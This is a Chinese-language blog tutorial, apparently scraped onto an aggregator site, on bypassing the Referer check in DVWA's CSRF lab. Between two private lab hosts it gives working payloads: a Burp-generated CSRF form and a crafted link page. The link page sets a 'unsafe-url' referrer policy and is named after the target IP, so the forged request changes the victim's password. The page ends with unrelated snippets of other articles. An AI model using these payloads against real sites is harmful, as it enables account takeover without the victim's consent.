网站建设小程序开发seo推广网站开发工程师月薪平均

pingmian/2026/1/24 19:54:39/文章来源:
网站建设小程序开发seo推广,网站开发工程师月薪平均,PC网站开发的意义,视联网视频会议系统CSRF攻击(2), 绕过Referer防御 一. 场景: 攻击服务器: 192.168.112.202 目标服务器: 192.168.112.200说明: 1. 前端页面的功能是修改密码. 2. 将恶意页面放到202服务器上, 在目标200服务器上访问恶意页面, 目的是绕过200服务器上对CSRF的防御, 修改密码. 二. 后端防御代码: …CSRF攻击(2), 绕过Referer防御 一. 场景: 攻击服务器: 192.168.112.202 目标服务器: 192.168.112.200说明: 1. 前端页面的功能是修改密码. 2. 将恶意页面放到202服务器上, 在目标200服务器上访问恶意页面, 目的是绕过200服务器上对CSRF的防御, 修改密码. 二. 后端防御代码: ?phpif( isset( $_GET[ Change ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ HTTP_REFERER ] ,$_SERVER[ SERVER_NAME ]) ! false ) {// Get input$pass_new $_GET[ password_new ];$pass_conf $_GET[ password_conf ];// Do the passwords match?if( $pass_new $pass_conf ) {// They do!$pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass_new md5( $pass_new );// Update the database$insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;;$result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );// Feedback for the userecho prePassword Changed./pre;}else {// Issue with passwords matchingecho prePasswords did not match./pre;}}else {// Didnt come from a trusted sourceecho preThat request didnt look correct./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); }? 三. 代码分析: $_SERVER[HTTP_REFERER]: 这是一个超全局变量它从HTTP请求中提取Referer头部的值。Referer头部表示请求的来源页URL。 例如如果你从pageA.html点击一个链接到pageB.html那么在访问pageB.html时HTTP_REFERER将包含pageA.html的URL。$_SERVER[SERVER_NAME]: 这是另一个超全局变量它包含当前服务器的名称。这通常是与请求相关联的域名或主机名。stripos(): 这是一个PHP函数用于查找一个字符串在另一个字符串中首次出现的位置而不区分大小写。stripos($_SERVER[HTTP_REFERER], $_SERVER[SERVER_NAME]) ! false: 这是一个条件判断用于检查SERVER_NAME即当前服务器的名字是否出现在HTTP_REFERER中。 如果出现则stripos()函数将返回该位置一个非负整数否则返回false。 使用! false是为了确保检查不仅仅是真假还要检查数据类型即确保不是因为位置为0而误判为false。 四. 绕过方法: 当使用一个普通的表单类型的钓鱼链接时, 比如 http://192.168.112.202/csrf.html html!-- CSRF PoC - generated by Burp Suite Professional --bodyscripthistory.pushState(, , /)/scriptform actionhttp://192.168.112.200/DVWA-master/vulnerabilities/csrf/input typehidden namepassword#95;new valueroot /input typehidden namepassword#95;conf valueroot /input typehidden nameChange valueChange /input typesubmit valueSubmit request //form/body /html访问后观察请求头: Referer: http://192.168.112.202/这里看到表单类型的链接, 点击后 Referer 只包含攻击者的ip, 并没有目标ip, 因此被防御. 现在我们需要让 Referer 字段中包含目标服务器的IP, 需要两个步骤: 1. 不能使用表单链接, 而是使用一个的超链接a, 超链接被点击后, Referer字段会包含这个html的文件名: a hrefhttp://192.168.112.200/DVWA-master/vulnerabilities/csrf/?password_newrootpassword_confrootChangeChange img srchttp://192.168.112.202/test.jpg//a这个html页面在202服务器, 但它里面的链接是向200服务器发送请求. 需要注意的是, 现代浏览器对于跨域请求的默认Referer头处理。 当请求是同源的即在相同的域、协议和端口上Referer通常会包含完整的URL。 但是对于跨域请求许多浏览器的默认行为是仅发送请求的源作为Referer而不包括完整的路径和查询参数。 为了避免出现这种情况, 可以在HTML文件中使用meta标签来设置Referrer-Policy策略. 在HTML中使用meta namereferrer contentunsafe-url标签会指示浏览器在发送请求时使用unsafe-url策略这将导致浏览器在Referer头中发送完整的URL无论请求是否跨域, 浏览器会根据这个策略发送Referer头. 设置策略为 unsafe-url: !DOCTYPE html headmeta namereferrer contentunsafe-url /head bodya hrefhttp://192.168.112.200/DVWA-master/vulnerabilities/csrf/?password_newrootpassword_confrootChangeChangeimg srchttp://192.168.112.202/test.jpg//a /body /html 2. 把这个html文件命名为 csrf_192.168.112.200.html, 重点是文件名中包含了目标服务器的地址, 那么完整的恶意链接就是: http://192.168.112.202/csrf_192.168.112.200.html当这个图片链接被用户点击后观察请求头: Referer: http://192.168.112.202/csrf_192.168.112.200.html这里可以看到 Referer 中由于包含了文件名, 所以就间接包含有目标服务器的ip, 绕过了后端对 SERVER_NAME 的判断, 密码修改成功.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/86093.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网站要怎样建设简单的企业网站的主页

1. 题目 实现一个带有buildDict, 以及 search方法的魔法字典。 对于buildDict方法,你将被给定一串不重复的单词来构建一个字典。 对于search方法,你将被给定一个单词,并且判定能否只将这个单词中一个字母换成另一个字母,使得所…

网站建设与维护试卷 一网站建设费应怎样做会计分录

一、效果图&#xff1a; 点击左侧地址列表&#xff0c;右侧地图跟着改变。 二、代码实现&#xff1a; 一进入页面时&#xff0c;通过body调用onLoad"onLoad()"函数&#xff0c;确保地图正常显示。 <body onLoad"onLoad()"><!--左侧代码-->…

宿迁网站制作网站空间到期提示

文章目录 什么是零拷贝3、零拷贝优化方案 - 真正的零拷贝哪些地方会用到零拷贝技术 现在来谈谈零拷贝&#xff0c;以及在开发中哪些地方使用到零拷贝。 开干… 什么是零拷贝 零拷贝指的是&#xff0c;从一个存储区域到另一个存储区域的copy任务无需CPU参与就可完成。零拷贝的底…

给别人做网站被诉侵权做网站运营的女生多吗

142-常用类与基础API-String的理解与不可变性_哔哩哔哩_bilibili 1.String 2.字符串常量池 变更储存区的原因是加快被gc的频率 比地址&#xff0c;equals比内容 3.字符串连接 s3s4都是字符串常量&#xff0c;后面几个会利用StringBuilder的toString&#xff08;&#xff09;&a…

做网站怎么查看来访ip参考消息今天新闻

这段Python代码使用了schedule库来安排一个任务&#xff0c;在每天的22:50时运行。这个任务执行一个命令来运行pytest&#xff0c;并生成一个报告。 代码开始时将job_done变量设为False&#xff0c;然后运行预定的任务。一旦任务完成&#xff0c;将job_done设置为True并跳出循…

网站建设:中企动力资阳房地产网站建设

在Go语言中进行HTTP请求时&#xff0c;http.Header对象表示HTTP请求或响应的头部信息。http.Header是一个map[string][]string类型的结构&#xff0c;用于存储键值对&#xff0c;其中键表示HTTP头字段的名称&#xff0c;值是一个字符串切片&#xff0c;可以存储多个相同名称的头…

网站首页界面设计网站后台 用什么编写

题目描述 给定一个未经排序的整数数组&#xff0c;找到最长且 连续递增的子序列&#xff0c;并返回该序列的长度。 连续递增的子序列 可以由两个下标 l 和 r&#xff08;l < r&#xff09;确定&#xff0c;如果对于每个 l < i < r&#xff0c;都有 nums[i] < nums…

做网站数据需求分析dw怎么做phpcms网站

1.urllib2/urllib实现urllib2和urllib是Python中的两个内置模块&#xff0c;要实现HTTP功能&#xff0c;实现方式是以urllib2为主&#xff0c;urllib为辅。1.1首先实现一个完整的请求与响应模型urllib2提供一个基础函数urlopen&#xff0c;通过向指定的URL发出请求来获取数据。…

怎么查看网站空间大小文化传媒网站php源码

面试智力题 二进位bit1. 题目&#xff1a;一千杯水&#xff0c;一杯水有毒&#xff0c;怎么用10只老鼠&#xff0c;把这杯水找出来&#xff08;1&#xff09;解法1&#xff1a;常规法&#xff08;2&#xff09;bit法&#xff08;位数法&#xff09; (3) 时间法三级目录 二进位b…

百度建站云南服务中心抓取网站后台

直接上代码&#xff1a; 代码很简单&#xff0c;通过Post的形式提交参数&#xff0c;但是发现提交的data总是空&#xff0c;昨晚有点纳闷&#xff0c;今天一看才发现。。。 获取值得时候的顺序有问题&#xff0c;获取值应该是在onclick事件中。 综上&#xff1a;写Jquery的时间…

吉安建设公司网站wordpress配置要求

北邮22信通一枚~ 跟随课程进度更新北邮信通院数字系统设计的笔记、代码和文章 持续关注作者 迎接数电实验学习~ 获取更多文章&#xff0c;请访问专栏&#xff1a; 北邮22级信通院数电实验_青山如墨雨如画的博客-CSDN博客 目录 一.代码部分 二.管脚分配 三.实现过程讲解及效…

重庆璧山网站制作公司电话个人可以架设网站吗

各位专业人士您好&#xff1a;我昨天使用微软官网下载的U盘安装介质制作工具制作的U盘&#xff0c;在新买的固态硬盘上安装的win10专业版。在此之后&#xff0c;经常出现程序未响应(安装驱动时几乎各个都未响应)&#xff0c;并且每次都导致系统也不响应&#xff0c;只有鼠标可以…

绵阳建设局网站营销网站建设 公司排名

框架的设计思路 首先要明确进行接口自动化需要的步骤&#xff0c;如下图所示&#xff1a; ​然后逐步拆解需要完成的工作&#xff1a; 1&#xff09;了解分析需求&#xff1a;了解接口要实现的功能 2&#xff09;数据准备&#xff1a;根据开发文档确定接口的基本情况&#x…

标志设计名词解释新网站如何做seo优化

LCS(2021牛客多校4) 题意&#xff1a; 让你构造三个字符串s1,s2,s3&#xff0c;长度均为n,要求LCS(s1,s2)a,LCS(s2,s3)b,LCS(s1,s3)c 题解&#xff1a; 先考虑三个串互相LCS为x,y,z,且x>y>z 显然如果xy-n>z则无解&#xff0c;反之xy-n<z有解 那么就先给三个串加…

协会建设网站的目的建设部设计院网站

光纤收发器&#xff0c;是一种将短距离的双绞线电信号和长距离的光信号进行互换的以太网传输媒体转换单元&#xff0c;按其所需主要分为单纤光纤收发器和双纤光纤收发器&#xff0c;接下来我们就来详细介绍下什么是单模单纤/双纤光纤收发器&#xff1f;单模单纤和单模双纤光纤收…

网站如何收费通过模板做网站

文章目录 Flutter应用让屏幕在 app 运行期间保持常亮的方法方法一&#xff1a;使用系统插件方法二&#xff1a;使用 Widgets注意事项 Flutter应用让屏幕在 app 运行期间保持常亮的方法 在 Flutter 开发中&#xff0c;可以使用以下两种方法让屏幕在 app 运行期间保持常亮&#…

焦作建设网站出口企业网站建设

打开Mysql下载页面 https://downloads.mysql.com/archives/community/ 选择版本号&#xff1a; centos选择Red Hat版本&#xff0c;复制地址 复制地址后&#xff0c;链接ssh&#xff0c;添加储存库 yum install 粘贴地址&#xff1b; yum install https://downloads.mysql…

广告项目网站开发小说网站签约作者应该怎么做

Python3爬取今日头条有关《人民的名义》文章最近一直在看Python的基础语法知识&#xff0c;五一假期手痒痒想练练&#xff0c;正好《人民的名义》刚结束&#xff0c;于是决定扒一下头条上面的人名的名义文章&#xff0c;试试技术同时可以集中看一下大家的脑洞也是极好的。首先&…

企业网站怎么做产品图片轮播国外平面设计教程网站

系列文章目录 代码随想录算法训练营第一天|数组理论基础&#xff0c;704. 二分查找&#xff0c;27. 移除元素 代码随想录算法训练营第二天|977.有序数组的平方 &#xff0c;209.长度最小的子数组 &#xff0c;59.螺旋矩阵II 代码随想录算法训练营第三天|链表理论基础&#xff…

株洲专业网站建设品牌青岛做网站费用

1.简介 Apache Hadoop YARN &#xff08;Yet Another Resource Negotiator&#xff0c;另一种资源协调者&#xff09;是一种新的 Hadoop 资源管理器&#xff0c;它是一个通用资源管理系统和调度平台&#xff0c;可为上层应用提供统一的资源管理和调度。支持多个数据处理框架&…